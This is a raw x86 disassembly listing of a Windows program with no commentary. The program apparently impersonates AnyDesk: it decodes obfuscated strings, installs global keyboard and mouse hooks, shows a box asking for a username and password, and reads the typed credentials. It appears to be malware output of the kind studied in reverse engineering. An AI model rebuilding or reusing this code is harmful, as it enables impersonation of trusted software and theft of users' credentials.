mov word [ebp - 0x4af0], 0
movaps xmm0, xmmword [0x425c30]
movups xmmword [ebp - 0x4acc], xmm0
mov dword [ebp - 0x4abc], 0x67
nop dword [eax]
mov eax, 8
sub eax, dword [ebp + ecx*4 - 0x4aec]
imul eax, eax, 0x23
cdq
idiv dword [ebp - 0x50d4]
lea eax, [edx + 0x7f]
cdq
idiv dword [ebp - 0x50d4]
mov byte [ebp + ecx - 0x4afc], dl
inc ecx
cmp ecx, 0xd
jb 0x40c480
lea ecx, [ebp - 0x4afc]
mov dword [ebp - 0x50f8], 0
mov byte [ebp - 0x4aef], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x50e8], 0
mov dword [ebp - 0x50e4], 0xf
mov byte [ebp - 0x50f8], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40c4e2
sub ecx, edx
lea eax, [ebp - 0x4afc]
push ecx
push eax
lea ecx, [ebp - 0x50f8]
call fcn.0040fa60
push 0
push esi
push 0x75
push edi
push 0x11
push 0x59
push 0x3a
push 0x65
push 0x50000001
sub esp, 0x18
mov byte [ebp - 4], 0x27
lea eax, [ebp - 0x50f8]
mov ecx, esp
push eax
call fcn.0040f840
call fcn.004035c0
add esp, 0x18
push eax
push str.msctls_trackbar32
push 0
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov byte [ebp - 4], 0x26
mov edx, dword [ebp - 0x50e4]
cmp edx, 0x10
jb 0x40c57a
mov ecx, dword [ebp - 0x50f8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40c570
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d433
push edx
push ecx
call fcn.00410d1a
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x4094]
mov dword [ebp - 0x50e8], 0
mov dword [ebp - 0x50e4], 0xf
mov byte [ebp - 0x50f8], 0
cmp edx, 0x10
jb 0x40c5d6
mov ecx, dword [ebp - 0x40a8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40c5cc
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d433
push edx
push ecx
call fcn.00410d1a
add esp, 8
movaps xmm0, xmmword [0x425d20]
lea ecx, [ebp - 0x46ac]
movups xmmword [ebp - 0x46a0], xmm0
lea edx, [ecx + 1]
mov dword [ebp - 0x4090], 0
movaps xmm0, xmmword [0x425450]
mov dword [ebp - 0x4098], 0
mov dword [ebp - 0x4094], 0xf
mov byte [ebp - 0x40a8], 0
movups xmmword [ebp - 0x4690], xmm0
mov dword [ebp - 0x4680], 0x41
mov dword [ebp - 0x46ac], 0x74696465
mov dword [ebp - 0x46a8], 0x63616572
mov word [ebp - 0x46a4], 0x68
mov dword [ebp - 0x4080], 0
mov dword [ebp - 0x407c], 0xf
mov byte [ebp - 0x4090], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40c662
sub ecx, edx
lea eax, [ebp - 0x46ac]
push ecx
push eax
lea ecx, [ebp - 0x4090]
call fcn.0040fa60
lea eax, [ebp - 0x4090]
mov dword [ebp - 4], 0x28
push eax
mov ecx, 0x42a9a8
call fcn.0040f120
mov esi, dword [sym.imp.USER32.dll_SendMessageW]
push 0
push 1
push 0xcf
push dword [eax]
call esi
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x407c]
cmp edx, 0x10
jb 0x40c6ea
mov ecx, dword [ebp - 0x4090]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40c6e0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d433
push edx
push ecx
call fcn.00410d1a
add esp, 8
push ecx
lea ecx, [ebp - 0x50c4]
mov dword [ebp - 0x4080], 0
mov dword [ebp - 0x407c], 0xf
mov byte [ebp - 0x4090], 0
call fcn.0040ecc0
mov ecx, eax
call fcn.0040ec80
push eax
lea ecx, [ebp - 0x4c8c]
call fcn.0040f800
lea eax, [ebp - 0x4c8c]
mov dword [ebp - 4], 0x29
push eax
mov ecx, 0x42a9c4
call fcn.0040f120
push 0x640000
push 1
push 0x406
push dword [eax]
call esi
lea ecx, [ebp - 0x4c8c]
mov dword [ebp - 4], 0xffffffff
call fcn.0040f760
push 0x4042c0
lea ecx, [ebp - 0x511c]
call fcn.0040fd90
lea ecx, [ebp - 0x511c]
mov dword [ebp - 4], 0x2a
call fcn.00403420
mov esi, dword [sym.imp.USER32.dll_SetWindowsHookExW]
push 0
push 0
push 0x40d5a0
push 0xd
call esi
push 0
push 0
push 0x40d700
push 0xe
mov dword [0x4298a8], eax
call esi
push ecx
lea ecx, [ebp - 0x4e4c]
mov dword [0x4298ac], eax
call fcn.0040ec50
mov ecx, eax
call fcn.0040ebc0
push eax
lea ecx, [ebp - 0x4c74]
call fcn.0040f800
lea eax, [ebp - 0x4c74]
mov byte [ebp - 4], 0x2b
push eax
mov ecx, 0x42a9bc
call fcn.0040f120
mov esi, dword [sym.imp.USER32.dll_SetTimer]
push 0
push 0x3e8
push 0x67
push dword [eax]
call esi
lea ecx, [ebp - 0x4c74]
mov byte [ebp - 4], 0x2a
call fcn.0040f760
push ecx
lea ecx, [ebp - 0x4df8]
call fcn.0040eb90
mov ecx, eax
call fcn.0040eb10
push eax
lea ecx, [ebp - 0x4c5c]
call fcn.0040f800
lea eax, [ebp - 0x4c5c]
mov byte [ebp - 4], 0x2c
push eax
mov ecx, 0x42a9bc
call fcn.0040f120
push 0
push 1
push 0x6b
push dword [eax]
call esi
lea ecx, [ebp - 0x4c5c]
mov byte [ebp - 4], 0x2a
call fcn.0040f760
push 0
push 0
push 0
lea eax, [ebp - 0x5114]
push eax
call dword [sym.imp.USER32.dll_GetMessageW]
mov esi, dword [sym.imp.USER32.dll_IsDialogMessageW]
mov edi, dword [sym.imp.USER32.dll_SetFocus]
test eax, eax
jle 0x40d30d
push ecx
lea ecx, [ebp - 0x4e14]
call fcn.0040eae0
mov ecx, eax
call fcn.0040ea60
push eax
lea ecx, [ebp - 0x4c44]
call fcn.0040f800
lea eax, [ebp - 0x4c44]
mov byte [ebp - 4], 0x2d
push eax
mov ecx, 0x42a9bc
call fcn.0040f120
lea ecx, [ebp - 0x5114]
push ecx
push dword [eax]
call esi
lea ecx, [ebp - 0x4c44]
mov byte [ebp - 4], 0x2a
mov esi, eax
call fcn.0040f760
test esi, esi
jne 0x40c8e2
lea eax, [ebp - 0x5114]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x5114]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
cmp dword [ebp - 0x5110], 0x100
jne 0x40d2ec
call dword [sym.imp.USER32.dll_GetFocus]
mov esi, dword [sym.imp.USER32.dll_GetDlgCtrlID]
push eax
call esi
cmp eax, 0x6a
jne 0x40cb7a
cmp dword [0x429900], 0
jne 0x40cb7a
push 0xd
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x8000
test cx, ax
je 0x40cb7a
push ecx
lea ecx, [ebp - 0x4f78]
call fcn.0040ea10
mov ecx, eax
call fcn.0040e950
push eax
lea ecx, [ebp - 0x4c2c]
call fcn.0040f800
lea eax, [ebp - 0x4c2c]
mov byte [ebp - 4], 0x2e
push eax
mov ecx, 0x42a9a8
call fcn.0040f120
mov esi, dword [sym.imp.USER32.dll_GetWindowTextW]
lea ecx, [ebp - 0x1010]
push 0x400
push ecx
push dword [eax]
call esi
lea ecx, [ebp - 0x4c2c]
mov byte [ebp - 4], 0x2a
call fcn.0040f760
push ecx
lea ecx, [ebp - 0x4fa4]
call fcn.0040e900
mov ecx, eax
call fcn.0040e830
push eax
lea ecx, [ebp - 0x4cec]
call fcn.0040f800
lea eax, [ebp - 0x4cec]
mov byte [ebp - 4], 0x2f
push eax
mov ecx, 0x42a9a8
call fcn.0040f120
push 0x400
lea ecx, [ebp - 0x4010]
push ecx
push dword [eax]
call esi
lea ecx, [ebp - 0x4cec]
mov byte [ebp - 4], 0x2a
call fcn.0040f760
lea eax, [ebp - 0x1010]
push eax
lea ecx, [ebp - 0x49e4]
call fcn.0040f430
lea eax, [ebp - 0x5178]
mov byte [ebp - 4], 0x30
push eax
lea ecx, [ebp - 0x49e4]
call fcn.0040f390
lea ecx, [ebp - 0x49e4]
mov edx, dword [eax]
lea eax, [ebp - 0x5170]
push eax
call fcn.0040f3b0
push ecx
push edx
lea ecx, [ebp - 0x4594]
push dword [eax]
call fcn.0040fe10
lea eax, [ebp - 0x4010]
mov byte [ebp - 4], 0x31
push eax
lea ecx, [ebp - 0x4a74]
call fcn.0040f430
lea eax, [ebp - 0x516c]
mov byte [ebp - 4], 0x32
push eax
lea ecx, [ebp - 0x4a74]
call fcn.0040f390
lea ecx, [ebp - 0x4a74]
mov edx, dword [eax]
lea eax, [ebp - 0x5168]
push eax
call fcn.0040f3b0
push ecx
push edx
lea ecx, [ebp - 0x4a5c]
push dword [eax]
call fcn.0040fe10
lea eax, [ebp - 0x5164]
mov byte [ebp - 4], 0x33
push eax
lea ecx, [ebp - 0x4594]
call fcn.0040f740
lea ecx, [ebp - 0x4594]
mov esi, dword [eax]
lea eax, [ebp - 0x5160]
push eax
call fcn.0040f720
lea ecx, [ebp - 0x4594]
mov edx, dword [eax]
lea eax, [ebp - 0x517c]
push eax
call fcn.0040f740
push esi
push edx
lea ecx, [ebp - 0x50cc]
push dword [eax]
call fcn.0040fed0
add esp, 8
lea ecx, [ebp - 0x5148]
call fcn.0040de60
mov edx, eax
lea ecx, [ebp - 0x4594]
mov byte [eax], 0
call fcn.0040ff20
test al, al
jne 0x40cde6
push ecx
lea ecx, [ebp - 0x5180]
call fcn.0040de60
mov edx, eax
lea ecx, [ebp - 0x4a5c]
mov byte [eax], 0
call fcn.0040ff20
test al, al
jne 0x40cde6
lea eax, [ebp - 0x4a5c]
push eax
lea eax, [ebp - 0x4594]
push eax
push ecx
lea ecx, [ebp - 0x512c]
call fcn.0040ffb0
lea ecx, [ebp - 0x512c]
mov byte [ebp - 4], 0x3c
call fcn.00403420
mov byte [ebp - 4], 0x33
cmp dword [ebp - 0x5128], 0
jne 0x40d438
lea ecx, [ebp - 0x4a5c]
call fcn.0040f760
lea ecx, [ebp - 0x4a74]
call fcn.0040f3d0
lea ecx, [ebp - 0x4594]
call fcn.0040f760
lea ecx, [ebp - 0x49e4]
mov byte [ebp - 4], 0x2a
call fcn.0040f3d0
mov esi, dword [sym.imp.USER32.dll_GetDlgCtrlID]
cmp dword [0x429908], 0
jne 0x40d2ec
call dword [sym.imp.USER32.dll_GetFocus]
push eax
call esi
cmp eax, 0x68
je 0x40cba7
call dword [sym.imp.USER32.dll_GetFocus]
push eax
call esi
cmp eax, 0x69
jne 0x40d2ec
cmp dword [0x429900], 0
jne 0x40d2ec
push 0xd
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x8000
test cx, ax
je 0x40d2ec
push ecx
lea ecx, [ebp - 0x5054]
call fcn.0040e380
mov ecx, eax
call fcn.0040e2c0
push eax
lea ecx, [ebp - 0x4d4c]
call fcn.0040f800
lea eax, [ebp - 0x4d4c]
mov byte [ebp - 4], 0x3d
push eax
mov ecx, 0x42a9a8
call fcn.0040f120
mov esi, dword [sym.imp.USER32.dll_GetWindowTextW]
lea ecx, [ebp - 0x810]
push 0x400
push ecx
push dword [eax]
call esi
lea ecx, [ebp - 0x4d4c]
mov byte [ebp - 4], 0x2a
call fcn.0040f760
push ecx
lea ecx, [ebp - 0x5080]
call fcn.0040e270
mov ecx, eax
call fcn.0040e1a0
push eax
lea ecx, [ebp - 0x4d34]
call fcn.0040f800
lea eax, [ebp - 0x4d34]
mov byte [ebp - 4], 0x3e
push eax
mov ecx, 0x42a9a8
call fcn.0040f120
push 0x400
lea ecx, [ebp - 0x2810]
push ecx
push dword [eax]
call esi
lea ecx, [ebp - 0x4d34]
mov byte [ebp - 4], 0x2a
call fcn.0040f760
lea eax, [ebp - 0x810]
push eax
lea ecx, [ebp - 0x4a14]
call fcn.0040f430
lea eax, [ebp - 0x5184]
mov byte [ebp - 4], 0x3f
push eax
lea ecx, [ebp - 0x4a14]
call fcn.0040f390
lea ecx, [ebp - 0x4a14]
mov edx, dword [eax]
lea eax, [ebp - 0x5188]
push eax
call fcn.0040f3b0
push ecx
push edx
lea ecx, [ebp - 0x45ac]
push dword [eax]
call fcn.0040fe10
lea eax, [ebp - 0x2810]
mov byte [ebp - 4], 0x40
push eax
lea ecx, [ebp - 0x49fc]
call fcn.0040f430
lea eax, [ebp - 0x515c]
mov byte [ebp - 4], 0x41
push eax
lea ecx, [ebp - 0x49fc]
call fcn.0040f390
lea ecx, [ebp - 0x49fc]
mov edx, dword [eax]
lea eax, [ebp - 0x5158]
push eax
call fcn.0040f3b0
push ecx
push edx
lea ecx, [ebp - 0x49cc]
push dword [eax]
call fcn.0040fe10
lea eax, [ebp - 0x5154]
mov byte [ebp - 4], 0x42
push eax
lea ecx, [ebp - 0x45ac]
call fcn.0040f740
lea ecx, [ebp - 0x45ac]
mov esi, dword [eax]
lea eax, [ebp - 0x5150]
push eax
call fcn.0040f720
lea ecx, [ebp - 0x45ac]
mov edx, dword [eax]
lea eax, [ebp - 0x514c]
push eax
call fcn.0040f740
push esi
push edx
lea ecx, [ebp - 0x50c8]
push dword [eax]
call fcn.0040fed0
add esp, 8
lea ecx, [ebp - 0x51a4]
call fcn.0040de60
mov edx, eax
lea ecx, [ebp - 0x45ac]
mov byte [eax], 0
call fcn.0040ff20
test al, al
jne 0x40d067
push ecx
lea ecx, [ebp - 0x5144]
call fcn.0040de60
mov edx, eax
lea ecx, [ebp - 0x49cc]
mov byte [eax], 0
call fcn.0040ff20
test al, al
jne 0x40d067
lea eax, [ebp - 0x49cc]
push eax
lea eax, [ebp - 0x45ac]
push eax
push ecx
lea ecx, [ebp - 0x5124]
call fcn.0040ffb0
lea ecx, [ebp - 0x5124]
mov byte [ebp - 4], 0x4b
call fcn.00403420
mov byte [ebp - 4], 0x42
cmp dword [ebp - 0x5120], 0
jne 0x40d438
jmp 0x40d2bc
push 0x40
push str.AnyDesk
push str.Please_enter_your_username_and_password.
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
sub eax, 1
jne 0x40d03b
push ecx
lea ecx, [ebp - 0x4fd0]
call fcn.0040e7e0
mov ecx, eax
call fcn.0040e720
push eax
lea ecx, [ebp - 0x4ddc]
call fcn.0040f800
lea eax, [ebp - 0x4ddc]
mov byte [ebp - 4], 0x34
push eax
mov ecx, 0x42a9a8
call fcn.0040f120
mov esi, dword [sym.imp.USER32.dll_GetWindowTextW]
lea ecx, [ebp - 0x3810]
push 0x400
push ecx
push dword [eax]
call esi
lea ecx, [ebp - 0x4ddc]
mov byte [ebp - 4], 0x33
call fcn.0040f760
push ecx
lea ecx, [ebp - 0x4f4c]
call fcn.0040e6d0
mov ecx, eax
call fcn.0040e600
push eax
lea ecx, [ebp - 0x4c14]
call fcn.0040f800
lea eax, [ebp - 0x4c14]
mov byte [ebp - 4], 0x35
push eax
mov ecx, 0x42a9a8
call fcn.0040f120
push 0x400
lea ecx, [ebp - 0x3010]
push ecx
push dword [eax]
call esi
lea ecx, [ebp - 0x4c14]
mov byte [ebp - 4], 0x33
call fcn.0040f760
lea eax, [ebp - 0x3810]
push eax
lea ecx, [ebp - 0x48c4]
call fcn.0040f430
lea eax, [ebp - 0x51a0]
mov byte [ebp - 4], 0x36
push eax
lea ecx, [ebp - 0x48c4]
call fcn.0040f390
lea ecx, [ebp - 0x48c4]
mov edx, dword [eax]
lea eax, [ebp - 0x519c]
push eax
call fcn.0040f3b0
push ecx
push edx
lea ecx, [ebp - 0x4a44]
push dword [eax]
call fcn.0040fe10
lea eax, [ebp - 0x3010]
mov byte [ebp - 4], 0x37
push eax
lea ecx, [ebp - 0x48ac]
call fcn.0040f430
lea eax, [ebp - 0x5198]
mov byte [ebp - 4], 0x38
push eax
lea ecx, [ebp - 0x48ac]
call fcn.0040f390
lea ecx, [ebp - 0x48ac]
mov edx, dword [eax]
lea eax, [ebp - 0x5194]
push eax
call fcn.0040f3b0
push ecx
push edx
lea ecx, [ebp - 0x4a2c]
push dword [eax]
call fcn.0040fe10
push ecx
lea ecx, [ebp - 0x5190]
mov byte [ebp - 4], 0x39
call fcn.0040de60
mov edx, eax
lea ecx, [ebp - 0x4a44]
mov byte [eax], 0
call fcn.0040ff20
push ecx
test al, al
je 0x40cfad
lea ecx, [ebp - 0x4ffc]
call fcn.0040e5b0
mov ecx, eax
call fcn.0040e4e0
push eax
lea ecx, [ebp - 0x4d7c]
call fcn.0040f800
lea eax, [ebp - 0x4d7c]
mov byte [ebp - 4], 0x3a
push eax
mov ecx, 0x42a9a8
call fcn.0040f120
push dword [eax]
call edi
lea ecx, [ebp - 0x4d7c]
jmp 0x40d00a
lea ecx, [ebp - 0x518c]
call fcn.0040de60
mov edx, eax
lea ecx, [ebp - 0x4a2c]
mov byte [eax], 0
call fcn.0040ff20
test al, al
je 0x40d00f
push ecx
lea ecx, [ebp - 0x5028]
call fcn.0040e490
mov ecx, eax
call fcn.0040e3d0
push eax
lea ecx, [ebp - 0x4d64]
call fcn.0040f800
lea eax, [ebp - 0x4d64]
mov byte [ebp - 4], 0x3b
push eax
mov ecx, 0x42a9a8
call fcn.0040f120
push dword [eax]
call edi
lea ecx, [ebp - 0x4d64]
call fcn.0040f760
lea ecx, [ebp - 0x4a2c]
call fcn.0040f760
lea ecx, [ebp - 0x48ac]
call fcn.0040f3d0
lea ecx, [ebp - 0x4a44]
call fcn.0040f760
lea ecx, [ebp - 0x48c4]
call fcn.0040f3d0
lea ecx, [ebp - 0x4a5c]
call fcn.0040f760
lea ecx, [ebp - 0x4a74]
call fcn.0040f3d0
lea ecx, [ebp - 0x4594]
call fcn.0040f760
lea ecx, [ebp - 0x49e4]
jmp 0x40d2e3
push 0x40
push str.AnyDesk
push str.Please_enter_your_username_and_password.
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
sub eax, 1
jne 0x40d2bc
push ecx
lea ecx, [ebp - 0x4e9c]
call fcn.0040e150
mov ecx, eax
call fcn.0040e090
push eax
lea ecx, [ebp - 0x4d1c]
call fcn.0040f800
lea eax, [ebp - 0x4d1c]
mov byte [ebp - 4], 0x43
push eax
mov ecx, 0x42a9a8
call fcn.0040f120
mov esi, dword [sym.imp.USER32.dll_GetWindowTextW]
lea ecx, [ebp - 0x2010]
push 0x400
push ecx
push dword [eax]
call esi
lea ecx, [ebp - 0x4d1c]
mov byte [ebp - 4], 0x42
call fcn.0040f760
push ecx
lea ecx, [ebp - 0x4ec8]
call fcn.0040e040
mov ecx, eax
call fcn.0040df80
push eax
lea ecx, [ebp - 0x4d04]
call fcn.0040f800
lea eax, [ebp - 0x4d04]
mov byte [ebp - 4], 0x44
push eax
mov ecx, 0x42a9a8
call fcn.0040f120
push 0x400
lea ecx, [ebp - 0x1810]
push ecx
push dword [eax]
call esi
lea ecx, [ebp - 0x4d04]
mov byte [ebp - 4], 0x42
call fcn.0040f760
lea eax, [ebp - 0x2010]
push eax
lea ecx, [ebp - 0x4894]
call fcn.0040f430
lea eax, [ebp - 0x5140]
mov byte [ebp - 4], 0x45
push eax
lea ecx, [ebp - 0x4894]
call fcn.0040f390
lea ecx, [ebp - 0x4894]
mov edx, dword [eax]
lea eax, [ebp - 0x513c]
push eax
call fcn.0040f3b0
push ecx
push edx
lea ecx, [ebp - 0x49b4]
push dword [eax]
call fcn.0040fe10
lea eax, [ebp - 0x1810]
mov byte [ebp - 4], 0x46
push eax
lea ecx, [ebp - 0x48dc]
call fcn.0040f430
lea eax, [ebp - 0x5138]
mov byte [ebp - 4], 0x47
push eax
lea ecx, [ebp - 0x48dc]
call fcn.0040f390
lea ecx, [ebp - 0x48dc]
mov edx, dword [eax]
lea eax, [ebp - 0x5134]
push eax
call fcn.0040f3b0
push ecx
push edx
lea ecx, [ebp - 0x499c]
push dword [eax]
call fcn.0040fe10
push ecx
lea ecx, [ebp - 0x5174]
mov byte [ebp - 4], 0x48
call fcn.0040de60
mov edx, eax
lea ecx, [ebp - 0x49b4]
mov byte [eax], 0
call fcn.0040ff20
push ecx
test al, al
je 0x40d22e
lea ecx, [ebp - 0x4ef4]
call fcn.0040df30
mov ecx, eax
call fcn.0040de70
push eax
lea ecx, [ebp - 0x4cd4]
call fcn.0040f800
lea eax, [ebp - 0x4cd4]
mov byte [ebp - 4], 0x49
push eax
mov ecx, 0x42a9a8
call fcn.0040f120
push dword [eax]
call edi
lea ecx, [ebp - 0x4cd4]
jmp 0x40d28b
lea ecx, [ebp - 0x5130]
call fcn.0040de60
mov edx, eax
lea ecx, [ebp - 0x499c]
mov byte [eax], 0
call fcn.0040ff20
test al, al
je 0x40d290
push ecx
lea ecx, [ebp - 0x4f20]
call fcn.0040de10
mov ecx, eax
call fcn.0040dd50
push eax
lea ecx, [ebp - 0x4cbc]
call fcn.0040f800
lea eax, [ebp - 0x4cbc]
mov byte [ebp - 4], 0x4a
push eax
mov ecx, 0x42a9a8
call fcn.0040f120
push dword [eax]
call edi
lea ecx, [ebp - 0x4cbc]
call fcn.0040f760
lea ecx, [ebp - 0x499c]
call fcn.0040f760
lea ecx, [ebp - 0x48dc]
call fcn.0040f3d0
lea ecx, [ebp - 0x49b4]
call fcn.0040f760
lea ecx, [ebp - 0x4894]
call fcn.0040f3d0
lea ecx, [ebp - 0x49cc]
call fcn.0040f760
lea ecx, [ebp - 0x49fc]
call fcn.0040f3d0
lea ecx, [ebp - 0x45ac]
call fcn.0040f760
lea ecx, [ebp - 0x4a14]
mov byte [ebp - 4], 0x2a
call fcn.0040f3d0
push 0
push 0
push 0
lea eax, [ebp - 0x5114]
push eax
call dword [sym.imp.USER32.dll_GetMessageW]
mov esi, dword [sym.imp.USER32.dll_IsDialogMessageW]
test eax, eax
jg 0x40c874
cmp dword [0x429904], 0
je 0x40d40b
push ecx
lea ecx, [ebp - 0x4e70]
call fcn.0040dd10
mov ecx, eax
call fcn.0040dc50
push eax
lea ecx, [ebp - 0x4ca4]
call fcn.0040f800
lea eax, [ebp - 0x4ca4]
mov byte [ebp - 4], 0x4c
push eax
mov ecx, 0x42a9a8
call fcn.0040f120
push dword [eax]
call edi
lea ecx, [ebp - 0x4ca4]
mov byte [ebp - 4], 0x2a
call fcn.0040f760
mov edi, dword [sym.imp.USER32.dll_GetMessageW]
lea eax, [ebp - 0x5114]
push 0
push 0
push 0
push eax
call edi
test eax, eax
jle 0x40d40b
nop
push ecx
lea ecx, [ebp - 0x4e30]
call fcn.0040dc20
mov ecx, eax
call fcn.0040dba0
push eax
lea ecx, [ebp - 0x4d94]
call fcn.0040f800
lea eax, [ebp - 0x4d94]
mov byte [ebp - 4], 0x4d
push eax
mov ecx, 0x42a9bc
call fcn.0040f120
lea ecx, [ebp - 0x5114]
push ecx
push dword [eax]
call esi
lea ecx, [ebp - 0x4d94]
mov byte [ebp - 4], 0x2a
mov esi, eax
call fcn.0040f760
test esi, esi
jne 0x40d3ee
lea eax, [ebp - 0x5114]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x5114]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
push 0
push 0
push 0
lea eax, [ebp - 0x5114]
push eax
call edi
mov esi, dword [sym.imp.USER32.dll_IsDialogMessageW]
test eax, eax
jg 0x40d380
cmp dword [ebp - 0x5118], 0
jne 0x40d438
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00410bba
mov esp, ebp
pop ebp
ret 8
call fcn.004154a5
call fcn.004151dc
int3